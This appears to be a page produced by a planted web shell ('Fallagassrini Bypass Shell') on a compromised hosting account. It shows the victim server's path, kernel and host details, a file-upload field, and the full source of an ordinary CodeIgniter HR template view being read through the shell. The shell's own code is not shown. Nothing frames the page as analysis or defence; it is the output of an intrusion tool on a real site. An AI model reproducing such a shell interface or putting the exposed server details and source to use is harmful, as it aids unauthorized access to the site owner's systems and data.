? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/Master/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/Master/templates.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php
$this->load->view('header');
?>

<script type="text/javascript">

    $(document).ready(function(){
		//Display Loading Image

     loadtemplate('name~template',1,'');
     

});

function loadtemplate(searchoption,pagenum,searchtext)
{
   $("#templatediv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
     $("#templatediv").load("<?= site_url('master/search_template/viewtemplate/') ?>/"+searchoption+'/'+pagenum+'/'+searchtext);
}

function addtemplate(rwd)
{

    $("#ck_permission").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
  {
  if(data==1)
       {
     $("#templatediv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
     $("#templatediv").load("<?= site_url('master/ajaxload/addtemplate/template') ?>");
       }

  });



}
function edittemplate(rwd,id)
    {
        
      $("#ck_permission").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
  {
  if(data==1)
       {
     $("#templatediv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
         $("#templatediv").load("<?= site_url('master/edit/edittemplate/template/id/') ?>"+"/" +id);
       }

  });



    }

var counterText = 1;
var counterRadioButton = 1;
var counterCheckBox = 1;
var counterTextArea = 1;
 counterComboBox = 1;
 counterstatic= 1;

function addAllInputs(divName, inputType){
     var newdiv = document.createElement('li');
    

     switch(inputType) {
          case 'text':
               var idname="mytext"+counterText;
               newdiv.innerHTML =  "<input type='text' id='labelname' style='width:250px' name='labelname[]' class='edit' value='Entry'><input type='hidden' name='fieldtype[]' value='"+inputType+"'><input type='text'  name='myInputs"+counterText+"'><input type='hidden' name='textorder[]' value='"+counterText+"'><img class='clickimage' src='<?=base_url()?>/assets/images/x-icon.png' onClick=\"removeElement('"+divName+"','"+idname+"')\"/>";
               counterText++;
               break;
          case 'textarea':
              var idname="mytextarea"+counterTextArea;
	       newdiv.innerHTML ="<input type='text' id='labelname' style='width:250px' name='labelname[]' class='edit' value='Entry'><input type='hidden' name='fieldtype[]' value='"+inputType+"'><textarea  name='myTextAreas"+counterTextArea+"'>type here...</textarea><input type='hidden' name='areaorder[]' value='"+counterTextArea+"'><img class='clickimage' src='<?=base_url()?>/assets/images/x-icon.png' onClick=\"removeElement('"+divName+"','"+idname+"')\"/>";
               counterTextArea++; 
               break;
          case 'combobox':
               var idname="mycombo"+counterComboBox;
               
	       newdiv.innerHTML = "<input type='text' id='labelname' style='width:250px' name='labelname[]' class='edit' value='Entry'><input type='hidden' name='comboorder[]' value='"+counterComboBox+"'><input type='hidden' name='fieldtype[]' value='"+inputType+"'><select id='myComboBox"+idname+"' name='myComboBox"+idname+"[]'></select><img class='clickimage' src='<?=base_url()?>/assets/images/x-icon.png' onClick=\"removeElement('"+divName+"','"+idname+"')\"/><input type='text' name='txtCombo"+idname+"' id='txtCombo"+idname+"'/> <input type='button' onclick=\"addCombo('txtCombo"+idname+"','combotext"+counterComboBox+"','myComboBox"+idname+"')\"  alt='' class='clickimage' value='Create'/><input type='hidden' id='combotext"+counterComboBox+"' name='combotext"+counterComboBox+"'/>";
               counterComboBox++;
               
               break;
          }
          
     newdiv.setAttribute('id',idname);
     
     document.getElementById(divName).appendChild(newdiv);
}

function addAllInputsedit(divName, inputType,counter){
     var newdiv = document.createElement('li');


     switch(inputType) {
          case 'text':
               var idname="mytext"+counter;
               newdiv.innerHTML =  "<input type='text' style='width:250px' id='labelname' name='labelname[]' class='edit' value='Entry'><input type='hidden' name='fieldtype[]' value='"+inputType+"'><input type='text'  name='myInputs"+counter+"'><input type='hidden' name='textorder[]' value='"+counter+"'><img class='clickimage' src='<?=base_url()?>/assets/images/x-icon.png' onClick=\"removeElement('"+divName+"','"+idname+"')\"/>";
               counter++;
               break;
          case 'textarea':
              var idname="mytextarea"+counter;
	       newdiv.innerHTML ="<input type='text' style='width:250px' id='labelname' name='labelname[]' class='edit' value='Entry'><input type='hidden' name='fieldtype[]' value='"+inputType+"'><textarea  name='myTextAreas"+counter+"'>type here...</textarea><input type='hidden' name='areaorder[]' value='"+counter+"'><img class='clickimage' src='<?=base_url()?>/assets/images/x-icon.png' onClick=\"removeElement('"+divName+"','"+idname+"')\"/>";
               counter++;
               break;
          case 'combobox':
               var idname="mycombo"+counter;

	       newdiv.innerHTML = "<input type='text' style='width:250px' id='labelname' name='labelname[]' class='edit' value='Entry'><input type='hidden' name='comboorder[]' value='"+counter+"'><input type='hidden' name='fieldtype[]' value='"+inputType+"'><select id='myComboBox"+idname+"' name='myComboBox"+idname+"[]'></select><img class='clickimage' src='<?=base_url()?>/assets/images/x-icon.png' onClick=\"removeElement('"+divName+"','"+idname+"')\"/><input type='text' name='txtCombo"+idname+"' id='txtCombo"+idname+"'/> <input type='button' onclick=\"addCombo('txtCombo"+idname+"','combotext"+counter+"','myComboBox"+idname+"')\"  alt='' class='clickimage' value='Create'/><input type='hidden' id='combotext"+counter+"' name='combotext"+counter+"'/>";
               counter++;

               break;
          }

     newdiv.setAttribute('id',idname);

     document.getElementById(divName).appendChild(newdiv);
}

function removeElement(parentDiv,childDiv){
   
     if (childDiv == parentDiv) {
          alert("The parent div cannot be removed.");
     }
     else if (document.getElementById(childDiv)) {
          var child = document.getElementById(childDiv);
          var parent = document.getElementById(parentDiv);
          
          parent.removeChild(child);
     }
     else {
          alert("Child div has already been removed or does not exist.");
          return false;
     }
}

/*function updatelabel(id) {
          //var OrigTextval;
        // alert("hasi"+id);
        $('label').removeClass("selected");
      //  OrigTextval = $("#"+id).html();
       // alert(OrigTextval);
      $("#"+id).addClass("selected").html('<input type="text" id="labelname" name="labelname[]" class="edit" value="Entry">');

    }*/

    function addCombo(txtcmb,txthid,cmb) {
        
	var textb = $("input#"+txtcmb).val();
        var comboval = $("input#"+txthid).val();
	//var combo = document.getElementById("'"+cmb+"'");
        var combo = document.getElementById(cmb);
       
	var option = document.createElement("option");
	option.text = textb;
	option.value = textb;
        comboval+=textb+"~";
        $("input#"+txthid).val(comboval);
	try {
		combo.add(option, null); //Standard
	}catch(error) {
		combo.add(option); // IE only
	}
	$("input#"+txtcmb).val("");
}

function addstaticcombo(divName, inputType){
     var newdiv = document.createElement('li');

     var idname="mycombo"+counterComboBox;

     newdiv.innerHTML = "<input type='text' style='width:250px' id='labelname' name='labelname[]' class='edit'  value='"+inputType+"'><input type='hidden' name='comboorder[]' value='"+counterComboBox+"'><input type='hidden' name='fieldtype[]' value='combobox'><select id='myComboBox"+idname+"' name='myComboBox"+idname+"[]'></select><img class='clickimage' src='<?=base_url()?>/assets/images/x-icon.png' onClick=\"removeElement('"+divName+"','"+idname+"')\"/><input type='hidden' id='combotext"+counterComboBox+"' name='combotext"+counterComboBox+"'/>";
     counterComboBox++;



     newdiv.setAttribute('id',idname);

     document.getElementById(divName).appendChild(newdiv);
}

function addstaticfield(divName,inputType,fieldtype)
{	
    var newdiv = document.createElement('li');
    var idname="mystatic"+counterstatic;
     
    newdiv.innerHTML = "<input type='text' style='width:250px' id='labelname' name='labelname[]' class='edit'  value='"+inputType+"'><input type='hidden' name='staticorder[]' value='"+counterstatic+"'><input type='hidden' name='fieldtype[]' value='"+fieldtype+"'><input type='text' name='suminsured' value='---' readonly><img class='clickimage' src='<?=base_url()?>/assets/images/x-icon.png' onClick=\"removeElement('"+divName+"','"+idname+"')\"/>";
    
    counterstatic++;
   
    newdiv.setAttribute('id',idname);

    document.getElementById(divName).appendChild(newdiv);
}



function addstaticcomboedit(divName, inputType,counter){
     var newdiv = document.createElement('li');

     var idname="mycombo"+counter;

     newdiv.innerHTML = "<input type='text' style='width:250px' id='labelname' name='labelname[]' class='edit' readonly value='"+inputType+"'><input type='hidden' name='comboorder[]' value='"+counter+"'><input type='hidden' name='fieldtype[]' value='combobox'><select id='myComboBox"+idname+"' name='myComboBox"+idname+"[]'></select><img class='clickimage' src='<?=base_url()?>/assets/images/x-icon.png' onClick=\"removeElement('"+divName+"','"+idname+"')\"/><input type='hidden' id='combotext"+counter+"' name='combotext"+counter+"'/>";
     counter++;



     newdiv.setAttribute('id',idname);

     document.getElementById(divName).appendChild(newdiv);
}


function search_template(seloption,serctext,page)
    {
       serctext = serctext.replace(/ /g,"~");
          serctext = serctext.replace(/\//g,"_");
     $("#templatediv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
    $('#templatediv').load("<?php echo site_url('master/search_template/'); ?>/"+  page +"/"+  seloption  + "/" +1+ "/"+serctext);


    }

      function paginationdata(pageNum)
    {
        $("#templatediv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
        $("#templatediv").load("<?= site_url('master/ajaxload/viewtemplate/template/') ?>" +"/" +pageNum);
    }


    function paginationdatasearch(pageNum,seloption,serctext)
    {
  serctext = serctext.replace(/ /g,"~");
          serctext = serctext.replace(/\//g,"_");
         $("#templatediv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
        $('#templatediv').load("<?php echo site_url('master/search_template/viewtemplate/'); ?>/"+  seloption  + "/" +pageNum+ "/"+serctext);
    }
    
    function viewtemplate(rwd,id)
    {
       
         $("#ck_permission").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
  {
  if(data==1)
       {
     $("#templatediv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
         $("#templatediv").load("<?= site_url('master/edit/viewgeneratedtemplate/template/id/') ?>"+"/" +id);
       }

  });



    }
</script>



<div id="main">
<?php
$this->load->view('menu');
?>
	<div id="middle">
		<?php
                        $this->load->view('leftbar');
                ?>
		<div id="center-column">

                    <?php
                        $this->load->view('topbar');
                    ?>

           <div class="table">


 <div id="successdiv"></div>
<div id="searchdiv">

<label>Search For</label><input type="text" name="searchtext" id="searchtext"> &nbsp;&nbsp; In
            <select name="searchopt" id="searchopt">
              <option  value="name~template" >All</option>
             <option  value="name~template" >Name</option>
             <option  value="cover~covers~cover_id~id" >Cover</option>
             <option  value="type~template_type~template_type~id" >Template Type</option>
             


            </select>
<input type="button" name="search" onclick="search_template(document.getElementById('searchopt').value,document.getElementById('searchtext').value,'viewtemplate')" value="Search"/>
 </div>


                <p>&nbsp;</p>
                <div id="templatediv">


                      </div>
 <div id="loading" align="center"></div>
		  </div>
		</div>

	</div>
	<?php
        $this->load->view('footer');
        ?>

</div>


</body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net